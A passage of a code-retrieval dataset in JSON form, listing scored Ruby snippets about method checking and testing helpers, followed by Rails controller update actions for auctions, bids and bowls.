"text": "def send_methods_and_generate_message(methods) #:nodoc:\n methods.each do |method|\n bool, hash = send(method)\n\n if positive? == !bool\n parent_scope = matcher_i18n_scope.split('.')\n matcher_name = parent_scope.pop\n method_name = method.to_s.gsub(/(\\?|\\!)$/, '')\n\n lookup = []\n lookup << :\"#{matcher_name}.negative_expectations.#{method_name}\" if negative?\n lookup << :\"#{matcher_name}.expectations.#{method_name}\"\n lookup << :\"negative_expectations.#{method_name}\" if negative?\n lookup << :\"expectations.#{method_name}\"\n\n hash = { :scope => parent_scope, :default => lookup }.merge(hash || {})\n @expectation ||= Remarkable.t lookup.shift, default_i18n_options.merge(hash)\n\n return negative?\n end\n end\n\n return positive?\n end",
"title": ""
},
{
"docid": "a53782ff7c477c649efd03f750f0ac40",
"score": "0.5490848",
"text": "def run(method, *objects)\n stack.each do |plugin|\n env.code, env.error_message = plugin.call(method, *objects)\n if env.code == :skip\n next\n elsif env.code == :message_accepted\n return false\n else # Halting error\n return false\n end\n end\n true\n end",
"title": ""
},
{
"docid": "64d22b527e181900298ca23c74c78dfc",
"score": "0.54861796",
"text": "def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"title": ""
},
{
"docid": "64d22b527e181900298ca23c74c78dfc",
"score": "0.54861796",
"text": "def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"title": ""
},
{
"docid": "0f46e01ac48442df4063b9ee230b40a6",
"score": "0.5486094",
"text": "def calls?(aMethod)\n return genericCheck(:call, aMethod)\n end",
"title": ""
},
{
"docid": "76e198290b2f5c38bf67ec6aa299d9bb",
"score": "0.5476086",
"text": "def test_Module_InstanceMethods_instanceMethods\n\t\tassert_equal([:method1], A16.instance_methods)\n\t\tassert_equal([:method2], B17.instance_methods(false) )\n\t\tassert_equal([:method3], C18.instance_methods(false) )\n\t\tassert_equal(60, C18.instance_methods(true).length )\n\tend",
"title": ""
},
{
"docid": "29ce59512c8e0f2520c10d6209f47d56",
"score": "0.5475137",
"text": "def verifying_double_callbacks; end",
"title": ""
},
{
"docid": "fccee12181a4d4c6ccf4d8095b659a00",
"score": "0.5474136",
"text": "def check_methods(methods, force=nil)\n min_api = verify_min_sdk.to_i\n target_api = verify_target_sdk.to_i\n\n # Remove methods changed outside of the scope of the sdk versions\n methods = methods.select { |i| !i.attribute('api_added') || (i.attribute('api_added').to_i <= target_api) }\n # methods = methods.select{|i| !i.attribute('deprecated') || (i.attribute('deprecated').to_i > min_api)}\n methods = methods.select { |i| !i.attribute('api_removed') || (i.attribute('api_removed').to_i > min_api) }\n\n # Inform and remove methods that do not exist in one of the sdk versions\n methods = methods.select do |i|\n if i.attribute('api_removed') and i.attribute('api_removed').to_i <= target_api\n puts \"Can't create #{i.method_signature} -- removed in #{i.attribute('api_removed')}\"\n false\n else\n true\n end\n end\n\n abort = false\n new_methods = methods\n unless force == 'include'\n # Inform and remove methods changed inside the scope of the sdk versions\n new_methods = methods.select do |i|\n if i.attribute('api_added') and i.attribute('api_added').to_i > min_api and force == 'exclude'\n false\n elsif i.attribute('api_added') and i.attribute('api_added').to_i > min_api\n puts \"Can't create #{i.method_signature} -- added in #{i.attribute('api_added')} -- use method_exclude or force exclude\"\n abort = true\n false\n elsif i.attribute('deprecated') and i.attribute('deprecated').to_i <= target_api and force == 'exclude'\n false\n elsif i.attribute('deprecated') and i.attribute('deprecated').to_i <= target_api\n puts \"Can't create #{i.method_signature} -- deprecated in #{i.attribute('deprecated')} -- use method_exclude or force exclude\"\n abort = true\n false\n else\n true\n end\n end\n\n abort('Aborting!') if abort\n end\n\n new_methods\n end",
"title": ""
},
{
"docid": "519fbfb3084c0a3934e26b561227f13f",
"score": "0.546907",
"text": "def test_method_detection\n verify_method :is_method?, with: [\n {param: ' def method_def', expect: true},\n {param: ' de method_def', expect: false},\n {param: ' def method1', expect: true},\n {param: '# def method1', expect: false}\n ]\n end",
"title": ""
},
{
"docid": "d84760315d5b1f76a765ee566c57f452",
"score": "0.5460787",
"text": "def broken_method\n this method is broken\nend",
"title": ""
},
{
"docid": "d84760315d5b1f76a765ee566c57f452",
"score": "0.5460787",
"text": "def broken_method\n this method is broken\nend",
"title": ""
},
{
"docid": "0a5657305d143bfafeeda38f9a9a148f",
"score": "0.54598063",
"text": "def in_chain(method_name); raise NotImplementedError \"TODO: implement this\" end",
"title": ""
},
{
"docid": "5b2ce48a3a66ee5bd75e7791466fb9da",
"score": "0.5458605",
"text": "def test_Module_InstanceMethods_methodDefined\n\t\tassert_equal(true, (A18.method_defined? :method1) )\n\t\tassert_equal(true, (C20.method_defined? \"method1\") )\n\t\tassert_equal(true, (C20.method_defined? \"method2\") )\n\t\tassert_equal(true, (C20.method_defined? \"method3\") )\n\t\tassert_equal(false, (C20.method_defined? \"method4\") )\n\tend",
"title": ""
},
{
"docid": "fade71989dfbb531311ef4c3664a1e1d",
"score": "0.54559815",
"text": "def check\n end",
"title": ""
},
{
"docid": "a6759828b1fc5b8ab7add6e91c15ffe1",
"score": "0.5440888",
"text": "def at_least_times_executed; end",
"title": ""
},
{
"docid": "a6759828b1fc5b8ab7add6e91c15ffe1",
"score": "0.5440888",
"text": "def at_least_times_executed; end",
"title": ""
},
{
"docid": "84238f1b77e909b5948aff28cc41966d",
"score": "0.5438201",
"text": "def test_invalid_accessor_methods\n invalid_accessors = %w( something voice wallaby wombat parakeet )\n invalid_accessors.each do |method|\n assert_raises(NoMethodError) do\n valid_voice.send(method)\n end\n end\n end",
"title": ""
},
{
"docid": "f39b66b9a148e98c4c7c04405a7bb9d6",
"score": "0.54375714",
"text": "def run!\n method_not_implemented\n end",
"title": ""
},
{
"docid": "ff4991f1bf525b706b7e5446f3291812",
"score": "0.54259765",
"text": "def run_one_method(klass, method_name, reporter); end",
"title": ""
},
{
"docid": "798bd029b117bec131774ae454470856",
"score": "0.5413491",
"text": "def method_missing( missing, *args )\n\t\tcandidates = methods_that_sound_like( missing.to_s )\n\t\tmessage = \"You called an undefined method: #{missing}.\"\n\tunless candidates.empty?\n\t message += \"\\nDid you mean #{candidates.join(' or ')}?\"\n\tend\n\traise raise NoMethodError.new( message )\n\tend",
"title": ""
},
{
"docid": "df7f973c1ea9f3cf4e28de3465da7ca9",
"score": "0.5410863",
"text": "def solveAll(n=8)\r\n\tfor i in 1..n\r\n\t\tputs \"Solving for #{n} balls, where ball #{i} is heavier...\"\r\n\t\t\r\n\t\t# Gives some visibility on outcomes\r\n\t\tif solve(generateBalls(n, i)) == i\r\n\t\t\tputs \"CORRECT!\"\r\n\t\telse\r\n\t\t\tputs \"FAILURE!\"\r\n\t\t\treturn false\r\n\t\tend\r\n\tend\r\n\t\r\n\treturn true\r\nend",
"title": ""
},
{
"docid": "42cf40ed58f366bee0ad73981f77718a",
"score": "0.5395726",
"text": "def not_be_called\n @expected_calls = 0\n self\n end",
"title": ""
},
{
"docid": "7e2ad81fb87266f709039a2141e502f4",
"score": "0.53892016",
"text": "def test_good_check_block\n\t\tresult = @methods.check_block_number 3, 4\n\t\tassert_equal 1, result\n\tend",
"title": ""
},
{
"docid": "3cd0da74ac99a4954994e05287591340",
"score": "0.53880626",
"text": "def build_methods(g, methods, done)\n methods.each do |meth|\n mod = meth.module\n recv = meth.receiver\n reqs = meth.required\n defs = meth.defaults\n splat = meth.splat\n block = meth.block\n body = meth.body\n\n has_args = meth.total_args > 0\n\n skip = g.new_label\n argmis = g.new_label\n\n if reqs.size > 0\n g.passed_arg(reqs.size - 1)\n g.gif skip\n end\n\n unless recv.always_matches_self?\n g.push_self\n recv.matches_self?(g, mod)\n g.gif skip\n end\n\n if has_args\n g.push_local 0\n\n reqs.each_with_index do |a, i|\n g.shift_array\n\n if a.wildcard?\n g.pop\n else\n a.matches?(g, mod)\n g.gif argmis\n end\n end\n\n defs.each_with_index do |d, i|\n no_value = g.new_label\n\n num = reqs.size + i\n g.passed_arg num\n g.gif no_value\n\n g.shift_array\n d.matches?(g, mod)\n g.gif argmis\n\n no_value.set!\n end\n\n if splat and s = splat.pattern\n s.matches?(g, mod)\n g.gif skip\n else\n g.pop\n end\n end\n\n if meth.name\n g.push_self\n if has_args or splat\n g.push_local 0\n g.push_proc\n g.send_with_splat meth.name, 0, true\n elsif block\n g.push_proc\n g.send_with_block meth.name, 0, true\n else\n g.send_vcall meth.name\n end\n else\n g.push_literal body\n g.push_self\n g.push_literal body.constant_scope\n if has_args or splat\n g.push_local 0\n g.push_proc\n g.send_with_splat :call_under, 2, true\n elsif block\n g.push_proc\n g.send_with_block :call_under, 2, true\n else\n g.send :call_under, 2\n end\n end\n g.goto done\n\n argmis.set!\n g.pop if has_args\n\n skip.set!\n end\n end",
"title": ""
},
{
"docid": "e8b6cbf1f3d77db94d98a7acb40b152b",
"score": "0.5377515",
"text": "def without_partial_double_verification; end",
"title": ""
},
{
"docid": "ebd39ef15b7f44a8349d7da0b5c65557",
"score": "0.5366384",
"text": "def run\n send(@method) if allowed_methods.include? @method\n end",
"title": ""
},
{
"docid": "1c70e6bc54f6900b4a2c859a9e54f4b8",
"score": "0.5366188",
"text": "def method() 1 end",
"title": ""
},
{
"docid": "ae6ae7b9991fb7bd204dbdc750ebcd1b",
"score": "0.5359671",
"text": "def method() end",
"title": ""
},
{
"docid": "1a1ffe32755df9acf2462f53670fd411",
"score": "0.53508437",
"text": "def method_missing(method, *args, &block)\n results = super\n if method.to_s[-1] == '!'\n throw :turn_done \n else\n results\n end\n end",
"title": ""
},
{
"docid": "ab5aeeab72e040f05d38b9718f8055d6",
"score": "0.53498405",
"text": "def test_start_again_and_again\n Legs.start\n Legs.start { def adding_another_method; true; end }\n assert_equal(true, Remote.adding_another_method)\n end",
"title": ""
},
{
"docid": "f0d50116d6d067bd787bf1044910efcb",
"score": "0.5341401",
"text": "def attempt; end",
"title": ""
},
{
"docid": "d0991d39b3c49cefeda109aed5d76565",
"score": "0.53370994",
"text": "def missed; end",
"title": ""
},
{
"docid": "74527c04a1f091dda602391e64b25ddc",
"score": "0.5335449",
"text": "def test_method(method_name, params, expected)\r\n puts \"#{method_name}(#{params})\"\r\n result = self.send(method_name, params)\r\n ok = result == expected\r\n puts \" (%s) => #{result}\" % (ok ? \"OK\" : \"FAIL\")\r\n puts \" Expected: #{expected}\" unless ok\r\n return ok\r\nend",
"title": ""
},
{
"docid": "0a1e38147d5fb711a0734bd75007bf41",
"score": "0.5335158",
"text": "def check\n \nend",
"title": ""
},
{
"docid": "11ee9e6435fb9ba77a86c51027188675",
"score": "0.53341746",
"text": "def check\n\t\t@funciones.each do | f |\n\t\t\tf.check(true)\n\t\tend\n\t\t@funciones.each do | f |\n\t\t\tf.check(false)\n\t\tend\n\t\t@instrucciones.each do | i |\n\t\t\ti.check(@tablaVariables, true)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f214e1e81b62e32c8d17eb22ed060494",
"score": "0.5333652",
"text": "def check\n \n end",
"title": ""
},
{
"docid": "8b79e8f7bbe83880e51794d26cd62a8f",
"score": "0.5327289",
"text": "def try; end",
"title": ""
},
{
"docid": "3cafc262abb69deba118bb54ce0dd69a",
"score": "0.5322771",
"text": "def check_100\n end",
"title": ""
},
{
"docid": "93055638b961b3762e3a3353b8b9cfc6",
"score": "0.5321785",
"text": "def proceed!; end",
"title": ""
},
{
"docid": "1284b685ad3ede80e3a893704cc46fe5",
"score": "0.53213173",
"text": "def failed\n [10, 13][self.class.calls]\n end",
"title": ""
},
{
"docid": "e0be720d3972bc8f0129bbba81f36216",
"score": "0.5319933",
"text": "def initialize_methods_restriction\n list_of_methods_to_guard.each do |method_name|\n if self.instance_methods.include?(method_name)\n send(:alias_method, \"za_#{method_name}\", method_name)\n define_method \"#{method_name}\" do |*args|\n _temp_i = \"Restricted method call to #{self.class.name}#{method_name}..\"\n puts _temp_i\n Rails.logger.debug(_temp_i)\n send(\"za_#{method_name}\", *args) if zero_authorized_checker(method_name)\n end\n else\n _temp_i = \"[WARNING] ZeroAuthorization: Method '#{method_name}' unavailable in #{self.name} for restriction application.\"\n puts _temp_i\n Rails.logger.debug(_temp_i)\n end\n end\n end",
"title": ""
},
{
"docid": "c108bc6f6cb2f6a7a106a5a28849e8ad",
"score": "0.53168356",
"text": "def test_again\n self.class.test_calls += 1\n end",
"title": ""
},
{
"docid": "7a3993371b98f4f2699dab12b72d63e2",
"score": "0.5315144",
"text": "def failed\n [10, 13][self.class.calls]\n end",
"title": ""
},
{
"docid": "9d01f8efeab472da660fe15e2a121217",
"score": "0.5311857",
"text": "def test_1\n #...\n customMethod()\n return true\n end",
"title": ""
},
{
"docid": "9d01f8efeab472da660fe15e2a121217",
"score": "0.5311857",
"text": "def test_1\n #...\n customMethod()\n return true\n end",
"title": ""
},
{
"docid": "b0cd0a577f16eb8a039c0bf0d8d730fc",
"score": "0.5309473",
"text": "def on_complete\n @model_methods.get_all_unused_methods.each do |method|\n if !@except_methods.include?(method.method_name) && method.method_name !~ /=$/\n add_error \"remove unused methods (#{method.class_name}##{method.method_name})\", method.file, method.line\n end\n end\n end",
"title": ""
},
{
"docid": "c52d8f00a5fe94394da20ada5e16ad38",
"score": "0.5306482",
"text": "def remove_possible_method(method); end",
"title": ""
},
{
"docid": "c52d8f00a5fe94394da20ada5e16ad38",
"score": "0.5306482",
"text": "def remove_possible_method(method); end",
"title": ""
},
{
"docid": "3e869ee508918d65953a9347530c8fd6",
"score": "0.530224",
"text": "def test_looking_nothing_found\r\n\t\tdef @t.find_rubies; 0; end\r\n\t\tdef @t.find_fake_rubies; 0; end\r\n\r\n\t\tassert_equal false, @p.look_for_rubies\r\n\t\tassert_equal 1, @p.days\r\n\tend",
"title": ""
},
{
"docid": "b911d59429c4fe8b76e51e4d39b80294",
"score": "0.52900636",
"text": "def perform_checks\n @check_array.each do |binary, flag, version, regex|\n check_binary(binary, flag, version, regex)\n end\n end",
"title": ""
},
{
"docid": "13ce209eb11fb10f092a38cf81bbdbbc",
"score": "0.52842313",
"text": "def test_bad_check_block\n\t\tresult = @methods.check_block_number 9, 3\n\t\tassert_equal 0, result\n\tend",
"title": ""
},
{
"docid": "265ab33faae3f8d7fc8a97dad89f3fcc",
"score": "0.5283801",
"text": "def method_checking_enabled?\n !Thread.current[:'method checking disabled']\n end",
"title": ""
},
{
"docid": "7d936ad7ebfc46f66c80b9cf87798448",
"score": "0.5283383",
"text": "def run_tests()\n check_solution(1, [2, 8, 5, 2, 6], [2, 2, 5, 6, 8])\n check_solution(2, [10, 8, 7, 1, 2, 3], [1, 2, 3, 7, 8, 10])\n check_solution(3, [1, -2, 5, 3, -4 ], [-4, -2, 1, 3, 5 ])\nend",
"title": ""
},
{
"docid": "ddaaab82b078224c0d5c8b13edf7c8d6",
"score": "0.52809715",
"text": "def run!\n run_mandatory!\n run_best_effort\n true\n end",
"title": ""
},
{
"docid": "b9f3c2c6cc2e94c2efb95652fff20f21",
"score": "0.5280709",
"text": "def method_pattern; end",
"title": ""
},
{
"docid": "b9f3c2c6cc2e94c2efb95652fff20f21",
"score": "0.5280709",
"text": "def method_pattern; end",
"title": ""
},
{
"docid": "166be8cd0191ce00c90a073d5e1d32ba",
"score": "0.5280433",
"text": "def test_several_method_extraction\n # arrange\n content = '\n # This is the test file for the several method extraction test\n class SingleMethod\n # The exercise\\s description\n def single_method\n a = 1 + 1\n return a + 3\n end\n\n # This is some exercise\n def some_exercise(arg1, arg2)\n return arg1 - arg2\n end\n end'\n\n expected = '\n # This is the test file for the several method extraction test\n class SingleMethod\n # The exercise\\s description\n def single_method\n end\n\n # This is some exercise\n def some_exercise(arg1, arg2)\n end\n end'\n\n # act\n check_strip_methods(content, expected)\n end",
"title": ""
},
{
"docid": "1822cfc30d9534591bcf24fd97a2644f",
"score": "0.5278433",
"text": "def method4\n\t\t#...\n\tend",
"title": ""
},
{
"docid": "739b1e01fabb617b3caee97793aa381c",
"score": "0.527429",
"text": "def ba_check_method(name) # :doc:\n name = name.to_sym\n @__ba_methods__ ||= {}\n if @__ba_methods__.has_key?(name)\n ba_methods_wrap(name)\n end\n end",
"title": ""
},
{
"docid": "bf0de49204c78d2fcc328e334fbaa418",
"score": "0.52722716",
"text": "def methods_over_threshold\n @methods_over_threshold ||= method_size_history.\n select { |_, history| commits_in_diff.include?(history.first[1].oid) }.\n each { |_, history| history.select! { |(size)| size > @min_method_size } }.\n select { |_, history| history.size > @times_increased_threshold }\n end",
"title": ""
},
{
"docid": "a552a00b20d8989dbee3fac127b0a482",
"score": "0.52707785",
"text": "def enable!\n @contexts.each do |c|\n c.hide_methods!\n c.singleton_class.send(:define_method, :method_missing) do |method_name, *args, &block|\n\n # Convert the method symbol to a string, ready for lookup.\n method_name = method_name.to_s\n\n # Maximum levenshtein distance allowed between a candidate and the requested method.\n max_distance = ToRobust::Local::Strategies::SoftBindingStrategy.max_distance\n\n # Cache the list of candidate methods.\n candidates = hidden_methods\n\n # If no method exists with the given name then find the method with the closest\n # name (measured by levenshtein distance). Only consider candidates whose distance\n # to the requested method is less or equal to the maximum distance.\n unless candidates.key? method_name\n\n best_candidate = nil\n best_score = nil\n candidates.each_key do |cname|\n \n # Only calculate the distance if the difference in length between the requested\n # and candidate methods is less or equal to the maximum distance.\n unless (cname.length - method_name.length).abs > max_distance\n distance = Levenshtein.distance(cname, method_name)\n if distance <= max_distance and (best_score.nil? or distance < best_score)\n best_candidate = cname\n best_score = distance\n end\n end\n end\n \n # Attempt to call the best candidate.\n # If no appropriate candidate is found, raise a NoMethodError.\n raise NoMethodError if best_candidate.nil?\n\n method_name = best_candidate\n\n end\n\n # Retrieve the method object for the selected method.\n method = candidates[method_name]\n \n # If no arguments are provided and the arity of this method is greater than zero,\n # then return zero.\n return 0 if method.arity > 0 and args.length == 0\n\n # If fewer arguments than necessary are provided then pad the arguments with zeros.\n args = args.fill(0, args.length...method.arity) if method.arity > args.length\n\n # If more arguments than necessary are provided, restrict them to the function's\n # arity.\n args = args.first(method.arity) if method.arity != -1 and args.length > method.arity\n\n # Call the method with the filtered arguments.\n return method.call(*args)\n\n end\n end\n end",
"title": ""
},
{
"docid": "af06fc8caa6cafe8f6ea371d26d6269d",
"score": "0.52659225",
"text": "def testNAL_Srv_AlgorithmInterface\n unsupp = []\n mets = MyGameServer::NAL_Srv_Algorithm.instance_methods(false)\n AlgCpuPlayerBase.instance_methods(false).each do |m_item|\n m = \"#{m_item}\"\n if m_item =~ /onalg/\n if mets.index(m)\n #puts \"Method #{m} supported\"\n else\n puts \"Method #{m} UNSPORRTED\"\n unsupp << m\n end\n end\n end\n # usupported must be 0\n assert_equal(0,unsupp.size)\n end",
"title": ""
},
{
"docid": "51bcffd53bc61d688d029a59a4afc2cf",
"score": "0.5250669",
"text": "def may_invoke?; end",
"title": ""
},
{
"docid": "3cca6b712ab6f593de5c992b6d61b0c6",
"score": "0.5245776",
"text": "def calls_some_methods(string)\n string.upcase!\n string.reverse!\n return \"hahahaha this is a terrible method\"\n end",
"title": ""
},
{
"docid": "6314a8e320a98f6ca14d8c902f27c0ec",
"score": "0.52444124",
"text": "def check_ping_arguments\n\n %w{ping ping?}.each do |method|\n\n define_method \"test_#{method}_without_arguments_or_default_host_raises_exception\" do\n #noinspection RubyArgCount\n assert_raise(ArgumentError) { @ping.ping }\n end\n\n define_method \"test_#{method}_without_arguments_but_with_default_host\" do\n assert_nothing_raised { @ping_with_host.ping }\n end\n\n define_method \"test_#{method}_accepts_a_hostname\" do\n assert_nothing_raised { @ping.ping(LOCALHOST_IP) }\n end\n end\n\n end",
"title": ""
},
{
"docid": "1279d2ee8cb8ceda0da59d78d63463e8",
"score": "0.524293",
"text": "def tests_pass?\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "1279d2ee8cb8ceda0da59d78d63463e8",
"score": "0.524293",
"text": "def tests_pass?\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "94101893deea70a5643881cb27e1e040",
"score": "0.5239046",
"text": "def test_api\n\t\tassert_respond_to @dummy, :cell1, \"reader method for cell1 defined\"\n\t\tassert_respond_to @dummy, :cell2, \"reader method for cell2 defined\"\n\t\tassert_respond_to @dummy, :cell3, \"reader method for cell3 defined\"\n\t\tassert_respond_to @dummy, :cell4, \"reader method for cell4 defined\"\n\t\tassert_respond_to @dummy, :cell1=, \"writer method for cell1 defined\"\n\t\tassert_respond_to @dummy, :cell2=, \"writer method for cell2 defined\"\n\t\tassert_respond_to @dummy, :cell3=, \"writer method for cell3 defined\"\n\t\tassert_respond_to @dummy, :cell4=, \"writer method for cell4 defined\"\n\t\tassert_respond_to @dummy, :observe, \"method for registering observers exists\"\n\t\tassert_respond_to @dummy, :unobserve, \"method for deregistering observers exists\"\n\t\tassert_respond_to @dummy, :calculate, \"method for connecting cells exists\"\n\tend",
"title": ""
},
{
"docid": "a7ed444ee746391415878dd0f97cff35",
"score": "0.5238785",
"text": "def disable_method_checking!\n Thread.current[:'method checking disabled'] = true\n end",
"title": ""
},
{
"docid": "7494b75d262d28d97471f5436de8d411",
"score": "0.52386403",
"text": "def valid_methods_defined?\n if @clazz.method_defined? :attack\n # if attack defined, target_ports or attack_on_port should not be defined\n if @clazz.method_defined?(:target_ports) || @clazz.method_defined?(:attack_on_port)\n raise MalformedTestCaseException, \"#{@filename}: #{@constant}#attack defined but #target_ports or #attack_on_port are also defined.\"\n end\n else\n # if attack not defined, target_ports and attack_on_port should be defined\n unless @clazz.method_defined?(:target_ports) && @clazz.method_defined?(:attack_on_port)\n raise MalformedTestCaseException, \"#{@filename}: #{@constant}#attack is not defined, #target_ports nor #attack_on_port are also not defined.\"\n end\n end\n end",
"title": ""
},
{
"docid": "20f63badd1f388a6811c28c2f1ca50bf",
"score": "0.5238132",
"text": "def test_classes_not_zero\n\t\ttest = Run.new(Random.new(1), 2)\n\t\ttest.classes_1 # call a small method to not rely on the test above working\n\t\ttest.stub :loc, 'Cathedral' do \n\t\t\t[1, 2, 4, 8, 16].each { |x|\t\t\t\t\t\n\t\t\t\tassert_equal x, test.classes\n\t\t\t\ttest.count_stuff\n\t\t\t}\n\t\tend \n\t\t\n\tend",
"title": ""
},
{
"docid": "a8a91a73c0d8ac29c1a19b4b02091220",
"score": "0.52348864",
"text": "def test_exercise_1120\n verify_method :exercise_1120,\n :with => [{param: 1, expect: Math.log(1).truncate},\n {param: 2, expect: Math.log(2).truncate},\n {param: 4, expect: Math.log(4 * 3 * 2).truncate},\n {param: 3, expect: Math.log(3 * 2).truncate}]\n end",
"title": ""
},
{
"docid": "daaad69b8f31887c3729887aea8038ff",
"score": "0.5234452",
"text": "def conflicting?\n return if options[:force] == true\n\n klass_method_names.values.each { |name| dangerous?(name, true) }\n instance_method_names.values.each { |name| dangerous?(name) }\n rescue Interrupt => err\n raise ArgumentError, <<-MSG.squish\n #{subtype.class.name} was not able to generate requested\n methods because the method #{err} already exists in\n #{klass.name}.\n MSG\n end",
"title": ""
},
{
"docid": "24117212883521c889911340bf0eb31e",
"score": "0.5233966",
"text": "def run_all\n raise NotImplementedError, \"run_all method must be overriden!\"\n end",
"title": ""
}
] |
559aeb359298ab3adf3310eac541265e
|
PATCH/PUT /auction1s/1 PATCH/PUT /auction1s/1.json
|
[
{
"docid": "6baff4be22fea1c9dc13b8397e1211f4",
"score": "0.0",
"text": "def update\n \n respond_to do |format|\n @auction1.update(auction1_params)\n #if @auction1.update(auction1_params)\n # @mensaje= 'Subasta se acutalizo con exito'\n # format.html { redirect_to @auction1, notice: 'Subasta se acutalizo con exito' }\n \n #else\n # format.html { render :edit }\n # end\n if (@auction1.monto > @auction1.puja ) \n @auction1.puja= @auction1.monto\n @auction1.ganador=current_user.id\n format.html { redirect_to @auction1, notice: 'Subasta Actualizada' }\n\n else\n @mensaje= 'la puja debe ser mayor a la actual'\n format.html { redirect_to lista_path(property_id: @auction1.property_id), notice: 'la puja debe ser mayor a la actual' }\n\n end\n @auction1.update(auction1_params)\n end\n end",
"title": ""
}
] |
[
{
"docid": "ac62b52302788506add3c2c14ae1f67a",
"score": "0.70635897",
"text": "def update\n if @auction.update(auction_params)\n head :no_content\n else\n render json: @auction.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0109dc1853a1e004e077fde81220b57e",
"score": "0.6887979",
"text": "def update\n respond_to do |format|\n if @auction.update(auction_params)\n format.html { redirect_to @auction, notice: 'Auction was successfully updated.' }\n format.json { render :show, status: :ok, location: @auction }\n else\n format.html { render :edit }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3553732f288e2a72b6e20324b698f6d0",
"score": "0.68522376",
"text": "def update\n @auction = Auction.find(params[:id])\n\n respond_to do |format|\n if @auction.update_attributes(params[:auction])\n format.html { redirect_to @auction, :notice => t(\"auctions.flash.notice.updated\") }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f17d6d091a8670a7107caeb32bc21f2",
"score": "0.6670874",
"text": "def update\n respond_to do |format|\n if @auctionable.update(auctionable_params)\n format.html { redirect_to @auctionable, notice: 'Auctionable was successfully updated.' }\n format.json { render :show, status: :ok, location: @auctionable }\n else\n format.html { render :edit }\n format.json { render json: @auctionable.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8cdd64f0b5bc7650457595a98f36cea9",
"score": "0.65763396",
"text": "def update\n @auction = Auction.find(params[:id])\n\tauthorize! :read, @auction\n\t\n respond_to do |format|\n if @auction.update_attributes(params[:auction])\n format.html { redirect_to @auction, notice: 'Auction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b443e3c36b28f70473e60f2d1e65a4b5",
"score": "0.65474784",
"text": "def update\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @auction, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a42209a792e237e1e9b2f7ad22fcd81a",
"score": "0.64914834",
"text": "def update\n respond_to do |format|\n if @auction_item.update(auction_item_params)\n format.html { redirect_to @auction_item, notice: 'Auction item was successfully updated.' }\n format.json { render :show, status: :ok, location: @auction_item }\n else\n format.html { render :edit }\n format.json { render json: @auction_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "822d1c2e1f2f73377534b856a008c496",
"score": "0.6379922",
"text": "def update\n @auction = Auction.find(params[:auction_id])\n params[:bid].reverse_merge!({owner_id: current_user.id})\n @bid = Bid.find(params[:id])\n \n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n \n redirect_to @auction and return\n end",
"title": ""
},
{
"docid": "1f4c191449ae9e6d9732fd4874bccdca",
"score": "0.6375057",
"text": "def update\n if !params[:auction][:ffeature].empty?\n a=\"\"\n params[\"auction\"][\"ffeature\"].shift\n params[\"auction\"][\"ffeature\"].each do |f|\n a=a + Feature.find_by_id(f).title + \" || \"\n end\n a=a[0..a.length-5]\n params[:auction][:ffeature] = a\n end\n respond_to do |format|\n if @auction.update(auction_params)\n format.html { redirect_to auctions_url, notice: 'Запись успешно обновлена.' }\n #format.json { render :show, status: :ok, location: @auction }\n else\n format.html { render :edit }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97501b7077951f2fc9daaacf25c6af31",
"score": "0.6207383",
"text": "def update\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n if @bidding.update_attributes(params[:bidding])\n format.html { redirect_to @bidding, notice: 'Bidding was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bidding.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da460a5d363429d78c81accc93afe7eb",
"score": "0.6193493",
"text": "def set_auction1\n @auction1 = Auction1.find(params[:id])\n end",
"title": ""
},
{
"docid": "25f34d467195b8086c27228dee6d1091",
"score": "0.61573213",
"text": "def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @admin_bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b54b14d16e13d5822d5654805a9ccb40",
"score": "0.61554927",
"text": "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
